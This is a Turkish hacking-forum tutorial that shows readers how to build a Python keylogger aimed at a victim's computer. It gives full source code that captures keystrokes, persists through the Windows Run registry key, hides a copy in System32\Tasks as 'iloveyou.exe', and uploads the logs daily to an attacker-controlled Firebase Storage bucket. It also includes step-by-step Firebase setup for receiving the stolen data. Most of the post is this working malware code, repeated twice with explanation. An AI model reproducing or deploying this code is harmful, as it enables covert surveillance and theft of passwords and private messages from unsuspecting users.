Selamlar TurkHackTeam ailesi, ben @an0un ve bugün sizlere Python ve Firebase kullanarak nasıl bir keylogger yapabileceğinizi göstereceğim. Hadi başlayalım!
Daha önce Orta Seviye Keylogger yapımı hakkında bir konu oluşturmuştum fakat o konuda oluşturduğumuz keylogger'in tuttuğu loglar kurbanın cihazında kalıyordu. Bu konumuzda bu sorunu çözeceğiz. Aslında, önceki keylogger kodumu revize ettiğim de söylenebilir. Öncelikle Firebase işlemleri ile başlayacağız.
Aşama aşama Google Firebase işlemlerini anlatacağım, ekran görüntüleri de var. Buradan

Google Firebase'i açın ve sayfanın sağ üst kısmında bulunan
"Go to console" yazan butona basın. Bi sayfa açılıcak, oradan Google hesabınıza giriş yapın.

Sonra ekranın ortasında bulunan
"Create a project" butonuna basın. Gelen ekranda sizden bir proje adı isteyecek, yazın işte halledin. "Continue" dedik. Gelen sayfadaki "Enable Google Analytics for this project" bölümünü ellemeden (açık olucak) bi daha "Continue" diyecez.

Daha sonra gelen bu sayfada ise Choose or create bilmem ne kısmından
Default Account for Firebase seçeneğini tıklıyoruz ve sonrasında Create project diyip projemizi oluşturuyoruz.
Ekranın solunda bulunan
Build yazısına tıklıyoruz ve tıkladığımızda gelen araçlardan Storage'yi seçiyoruz. Gelen ekrandan "Get started" butonuna basıyoruz. Gelen ekranda "Start in production mode" seçilidir fakat biz "Start in test mode" modunu seçiyoruz. Seçtikten sonra "Next" diyin ve bulutunuzun hangi serverde olacağını seçin. Ben değiştirmedim, nam5(us-central)'de çalışıyor benimki. Daha sonra "Done" diyip depolamamızı oluşturalım. (Bir sıkıntıdan dolayı resimlerin devamını ekleyemiyorum kusura bakmayın.) Tamamdır, artık Storage'miz oluşturuldu. Şimdi izin ayarlarlarını yapalım. Ekranın sol üstünde bulunan "Project Overview" butonunun hemen sağında bulunan ayarlar simgesine tıklıyoruz ve "Project settings" butonuna basıyoruz. Bizim şuan da açılan sayfanın "General" bölümünde olmamız lazım fakat Service Account'a geçeceğiz. Ekranın ortasında ve yukarıda bulunan "Service accounts" butonuna basıyoruz. Gelen sayfanın ortasında bi kod var. O kodun üstünde "Node.js" seçili olacaktır. onu "Python" yapıyoruz ve "Generate new private key" butonuna basıyoruz ve tekrar "Generate key" butonuna basıyoruz. Ekranın ortasındaki kod normalde önemli fakat sizin için önemli değil. Ben zaten o kodu keylogger kodumuza ekledim. Şimdi bilgisayarımıza bir dosya yüklendi. Bu dosyanın adını serviceAccount yapıyoruz. Uzantısının .json olduğuna dikkat edelim. Bu .json dosyasını keylogger kodumuzun bulunduğu dizine aktarıyoruz. Firebase ile işlemlerimiz bu kadar. Şimdi Python kodumuza geçelim.
Python:
import firebase_admin
from firebase_admin import credentials, storage
import os
import shutil
import winreg
import time
from pynput.keyboard import Key, Listener
from datetime import datetime
now = datetime.now()
guncel_tarih = now.strftime("%Y-%m-%d")
count = 0
keys = []
bilgisayar_adi = os.getlogin()
def reg_olustur(nereye_koyucam, adi_ne_bunun, ne_yapicak_bu_sey):
elektar = winreg.OpenKey(winreg.HKEY_CURRENT_USER, nereye_koyucam, 0, winreg.KEY_WRITE)
winreg.SetValueEx(elektar, adi_ne_bunun, 0, winreg.REG_SZ, ne_yapicak_bu_sey)
winreg.CloseKey(elektar)
nereye_koycam = r"Software\Microsoft\Windows\CurrentVersion\Run"
adi_ne_bunun = bilgisayar_adi
ne_yapicak_bu_sey = r"C:\Windows\System32\Tasks\iloveyou.exe"
reg_olustur(nereye_koycam, adi_ne_bunun, ne_yapicak_bu_sey)
kaynak_dosya = 'iloveyou.exe'
hedef_dizin = fr'C:\Windows\System32\Tasks\{kaynak_dosya}'
shutil.copy(kaynak_dosya, hedef_dizin)
cred = credentials.Certificate("serviceAccount.json")
firebase_admin.initialize_app(cred, {"storageBucket": "storage bucketiniz"})
bucket = storage.bucket()
yerel_dosya = f"iLoveYou{guncel_tarih}"
bulut_path = f"{bilgisayar_adi}/{yerel_dosya}"
sayac = 0
def tus_basildi(key):
global count, keys, sayac
count += 1
print("{0}".format(key))
keys.append(key)
current_time = time.strftime("%H:%M")
if current_time == "23:59":
if sayac == 0:
blob = bucket.blob(bulut_path)
blob.upload_from_filename(yerel_dosya)
sayac = 1
if count >= 1:
count = 0
dosyaya_yaz(keys)
keys = []
def dosyaya_yaz(keys):
with open(yerel_dosya", "a", encoding="utf-8") as file:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
if k == "Key.space":
file.write("\n")
file.write("SPACE BASILDI")
file.write("\n")
else:
file.write("\n")
file.write("BACKSPACE BASILDI")
file.write("\n")
elif k.find("esc") > 0:
file.write("\n")
file.write("ESC BASILDI")
file.write("\n")
elif k.find("enter") > 0:
file.write("\n")
file.write("ENTER BASILDI")
file.write("\n")
elif k.find("alt_gr") > 0:
file.write("\n")
file.write("ALT GR BASILDI")
file.write("\n")
elif k.find("alt_l") > 0:
file.write("\n")
file.write("ALT BASILDI")
file.write("\n")
elif k.find("cmd") > 0:
file.write("\n")
file.write("WINDOWS TUŞU BASILDI")
file.write("\n")
elif k.find("ctrl") > 0:
file.write("\n")
file.write("CTRL BASILDI")
file.write("\n")
elif k.find("caps_lock") > 0:
file.write("\n")
file.write("CAPS LOCK BASILDI")
file.write("\n")
elif k.find("shift") > 0:
file.write("\n")
file.write("SHIFT BASILDI")
file.write("\n")
elif k.find("tab") > 0:
file.write("\n")
file.write("TAB BASILDI")
file.write("\n")
elif k.find("num_lock") > 0:
file.write("\n")
file.write("NUM LOCK BASILDI")
file.write("\n")
elif k.find("down") > 0:
file.write("\n")
file.write("AŞAĞI YÖN TUŞU BASILDI")
file.write("\n")
elif k.find("up") > 0:
file.write("\n")
file.write("YUKARI YÖN TUŞU BASILDI")
file.write("\n")
elif k.find("right") > 0:
file.write("\n")
file.write("SAĞ YÖN TUŞU BASILDI")
file.write("\n")
elif k.find("left") > 0:
file.write("\n")
file.write("SOL YÖN TUŞU BASILDI")
file.write("\n")
elif k.find("x01") > 0:
file.write("\n")
file.write("CTRL + A BASILDI")
file.write("\n")
elif k.find("x16") > 0:
file.write("\n")
file.write("CTRL + V BASILDI")
file.write("\n")
elif k.find("101") > 0:
file.write("5")
elif k.find("102") > 0:
file.write("6")
elif k.find("103") > 0:
file.write("7")
elif k.find("104") > 0:
file.write("8")
elif k.find("105") > 0:
file.write("9")
elif k.find("100") > 0:
file.write("4")
elif k.find("99") > 0:
file.write("3")
elif k.find("98") > 0:
file.write("2")
elif k.find("97") > 0:
file.write("1")
elif k.find("96") > 0:
file.write("0")
elif k.find("110") > 0:
file.write(",")
elif k.find("f1") > 0:
if k.find("10") > 0:
file.write("\n")
file.write("F10 BASILDI")
file.write("\n")
elif k.find("11") > 0:
file.write("\n")
file.write("F11 BASILDI")
file.write("\n")
elif k.find("12") > 0:
file.write("\n")
file.write("F12 BASILDI")
file.write("\n")
else:
file.write("\n")
file.write("F1 BASILDI")
file.write("\n")
elif k.find("f2") > 0:
file.write("\n")
file.write("F2 BASILDI")
file.write("\n")
elif k.find("f3") > 0:
file.write("\n")
file.write("F3 BASILDI")
file.write("\n")
elif k.find("f4") > 0:
file.write("\n")
file.write("F4 BASILDI")
file.write("\n")
elif k.find("f5") > 0:
file.write("\n")
file.write("F5 BASILDI")
file.write("\n")
elif k.find("f7") > 0:
file.write("\n")
file.write("F7 BASILDI")
file.write("\n")
elif k.find("f8") > 0:
file.write("\n")
file.write("F8 BASILDI")
file.write("\n")
elif k.find("f9") > 0:
file.write("\n")
file.write("F9 BASILDI")
file.write("\n")
elif k.find("f6") > 0:
file.write("\n")
file.write("F6 BASILDI")
file.write("\n")
elif k.find("x03") > 0:
file.write("\n")
file.write("CTRL + C BASILDI")
file.write("\n")
elif k.find("x13") > 0:
file.write("\n")
file.write("CTRL + S BASILDI")
file.write("\n")
elif k.find("x11") > 0:
file.write("\n")
file.write("CTRL + Q BASILDI")
file.write("\n")
elif k.find("x17") > 0:
file.write("\n")
file.write("CTRL + W BASILDI")
file.write("\n")
elif k.find("x05") > 0:
file.write("\n")
file.write("CTRL + E BASILDI")
file.write("\n")
elif k.find("x12") > 0:
file.write("\n")
file.write("CTRL + R BASILDI")
file.write("\n")
elif k.find("x19") > 0:
file.write("\n")
file.write("CTRL + Y BASILDI")
file.write("\n")
elif k.find("x14") > 0:
file.write("\n")
file.write("CTRL + T BASILDI")
file.write("\n")
elif k.find("x15") > 0:
file.write("\n")
file.write("CTRL + U BASILDI")
file.write("\n")
elif k.find("t") > 0:
file.write("\n")
file.write("CTRL + I BASILDI")
file.write("\n")
elif k.find("x0f") > 0:
file.write("\n")
file.write("CTRL + O BASILDI")
file.write("\n")
elif k.find("x10") > 0:
file.write("\n")
file.write("CTRL + P BASILDI")
file.write("\n")
elif k.find("x1b") > 0:
file.write("\n")
file.write("CTRL + Ğ BASILDI")
file.write("\n")
elif k.find("x1d") > 0:
file.write("\n")
file.write("CTRL + Ü BASILDI")
file.write("\n")
elif k.find("x1c") > 0:
file.write("\n")
file.write("CTRL + , BASILDI")
file.write("\n")
elif k.find("delete") > 0:
file.write("\n")
file.write("DELETE BASILDI")
file.write("\n")
elif k.find("pause") > 0:
file.write("\n")
file.write("PAUSE BASILDI")
file.write("\n")
elif k.find("break") > 0:
file.write("\n")
file.write("BREAK BASILDI")
file.write("\n")
elif k.find("delete") > 0:
file.write("\n")
file.write("DELETE BASILDI")
file.write("\n")
elif k.find("print_screen") > 0:
file.write("\n")
file.write("PRINT SCREEN BASILDI")
file.write("\n")
elif k.find("home") > 0:
file.write("\n")
file.write("HOME BASILDI")
file.write("\n")
elif k.find("end") > 0:
file.write("\n")
file.write("END BASILDI")
file.write("\n")
elif k.find("Key") == -1:
file.write(k)
with Listener(on_press=tus_basildi) as listener:
listener.join()
Python:
import firebase_admin
from firebase_admin import credentials, storage
import os
import shutil
import winreg
import time
from pynput.keyboard import Key, Listener
from datetime import datetime
now = datetime.now()
guncel_tarih = now.strftime("%Y-%m-%d")
count = 0
keys = []
bilgisayar_adi = os.getlogin()
def reg_olustur(nereye_koyucam, adi_ne_bunun, ne_yapicak_bu_sey):
elektar = winreg.OpenKey(winreg.HKEY_CURRENT_USER, nereye_koyucam, 0, winreg.KEY_WRITE)
winreg.SetValueEx(elektar, adi_ne_bunun, 0, winreg.REG_SZ, ne_yapicak_bu_sey)
winreg.CloseKey(elektar)
nereye_koycam = "Software\Microsoft\Windows\CurrentVersion\Run"
adi_ne_bunun = bilgisayar_adi
ne_yapicak_bu_sey = f"C:\Windows\System32\Tasks\iloveyou.exe"
reg_olustur(nereye_koycam, adi_ne_bunun, ne_yapicak_bu_sey)
kaynak_dosya = 'iloveyou.exe'
hedef_dizin = 'C:\Windows\System32\Tasks'
shutil.copy(kaynak_dosya, hedef_dizin)
datetime.now() fonksiyonunu now değişkenimize kaydettik. now.strftime(falan filan) ile güncel tarihi (GG/AA/YY şeklinde) guncel_tarih değişkenine kaydettik. daha sonra count değişkenimizi 0 olarak ayarladık ve keys adlı listemizi (?) içi boş olarak ayarladık. os.getlogin() ile cihazdaki geçerli profilin adını aldık ve bunu bilgisayar_adi aldı değişkene kaydettik. reg_olustur() fonksiyonu ile bu keylogger'in .exe dosyasının sürekli açılması için bir regedit dosyası oluşturduk. Sonra shutil.copy(falan filan) ile .exe dosyamızı sistemin içinde belirli bir klasöre aktardık (C:\Windows\System32\Tasks).
Python:
cred = credentials.Certificate("serviceAccount.json")
firebase_admin.initialize_app(cred, {"storageBucket": "storage bucketiniz"})
bucket = storage.bucket()
yerel_dosya = f"iLoveYou{guncel_tarih}"
bulut_path = f"{bilgisayar_adi}/{yerel_dosya}"
sayac = 0
def tus_basildi(key):
global count, keys, sayac
count += 1
print("{0}".format(key))
keys.append(key)
current_time = time.strftime("%H:%M")
if current_time == "23.59":
if sayac == 0:
blob = bucket.blob(bulut_path)
blob.upload_from_filename(yerel_dosya)
sayac = 1
if count >= 1:
count = 0
dosyaya_yaz(keys)
keys = []
cred adlı değişkenimize kaydettik. Bu kod size tanıdık gelebilir, evet bu kod sizler için önemli değil dediğim kod. Bir alt satıra gelirsek burası önemli. Burada storage bucketiniz yazdığım bir yer var. Şimdi Firebase'yi tekrar açın. Projenize girin ve ekranın solunda bulunan Storage butonuna basın. Ekranın ortasında bir URL var. Örneğin: gs://xxx-xxxxxx.appspot.com gibi. İşte storageBucket dediğimiz şey bu URL. Bu URL'yi kopyalayın ve storage bucketiniz yazdığım yere yapıştırın. Burası zor kısımdı, bitti. Bu storageBucket'imizi bucket adlı değişkene kaydettik. yerel_dosya değişkenimizde ise buluta aktaracağımız dosyanın lokaldeki adını yazdık. Sonraki açıkladığım kodlarda göreceksiniz ki bu dosyanın adı yerel_dosya değişkenine kayıtlı. bulut_path değişkenimizde ise logların tutulduğu dosyayı bulutta aktaracağımız konumu seçtik. Bilgisayar Adı içerisinde Dosyamızın Adı oldu bunun konumu. yerel_dosya değişkeninde kullandığımız guncel_tarih'in sebebini birazdan açıklayacağım. tus_basildi() diye bir fonksiyon oluşturduk. sayac değişkenini 1 artırdık. Basılan tuşu yazdırdık. keys listemize basılan tuşu ekledik. time.strftime(falan filan) ile güncel saat ve dakikayı aldık. Bunları current_time değişkenine aktardık. Eğer saat 23.59 ise ve sayac değişkeni 0 ise yerel_dosya'yı buluta yükledik. Sonra sayac'ı 1 yaptık. Eğer count değişkeni 1 veya 1'den büyükse aynı değişkeni 0 olarak ayarladık, dosyaya_yaz() fonksiyonunu çalıştırdık, keys listesini boş olarak ayarladık.
BURDAN SONRASINI VİDEO OLARAK AÇIKLADIM. GERÇEKTEN BÖYLE YAZARAK AÇIKLAMAK ÇOK UZUN SÜRÜYOR. VİDEOLU BİR ANLATIM YAPMAK İSTEDİM. VİDEOYU EKLİYORUM. ANONİMLİK AÇISINDAN VİDEODA SES DEĞİŞTİRİCİ KULLANDIM. ANLAMADIĞINIZ YERLER OLURSA KONUNUN ALTINA YAZABİLİRSİNİZ SEVE SEVE CEVAPLARIM. GÜNCEL KODLARA KONU SONUNDAKİ GİTHUB LİNKİNDEN ULAŞABİLİRSİNİZ.
VİDEO
GITHUB
Son düzenleme:


